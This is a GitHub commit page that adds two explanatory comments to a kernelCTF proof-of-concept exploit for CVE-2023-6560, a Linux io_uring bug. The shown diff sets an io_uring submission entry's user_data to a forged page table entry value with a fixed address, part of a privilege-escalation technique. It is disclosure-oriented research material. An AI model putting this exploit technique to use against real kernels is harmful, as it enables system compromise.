Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit e003b3d

Browse files
committedMar 14, 2025·
Add missing comments align to code style requirements
1 parent ca13fc6 commit e003b3d

File tree

1 file changed

+2
-0
lines changed
  • pocs/linux/kernelctf/CVE-2023-6560_mitigation/exploit/mitigation-v4-6.6

1 file changed

+2
-0
lines changed
 

‎pocs/linux/kernelctf/CVE-2023-6560_mitigation/exploit/mitigation-v4-6.6/exploit.c

+2
Original file line numberDiff line numberDiff line change
@@ -326,6 +326,8 @@ void pwn() {
326326
sqe = (struct io_uring_sqe *)(sqes + sqes_offset);
327327
memset(sqe, 0, sizeof(*sqe));
328328
sqe->opcode = IORING_OP_NOP;
329+
// 0x9c000: fixed address, please refer to https://github.com/google/security-research/blob/ca13fc6d5e7184b13bb82a91dd3a6fa2430fdbd7/pocs/linux/kernelctf/CVE-2023-6560_mitigation/docs/exploit.md#leak-through-write
330+
// 0x8000000000000067: page table entry flags (_PAGE_BIT_PRESENT | _PAGE_BIT_RW | _PAGE_BIT_USER | _PAGE_BIT_ACCESSED | _PAGE_BIT_DIRTY | _PAGE_BIT_NX)
329331
sqe->user_data = 0x9c000 | 0x8000000000000067;
330332
sqe++;
331333

0 commit comments

Comments
 (0)
Please sign in to comment.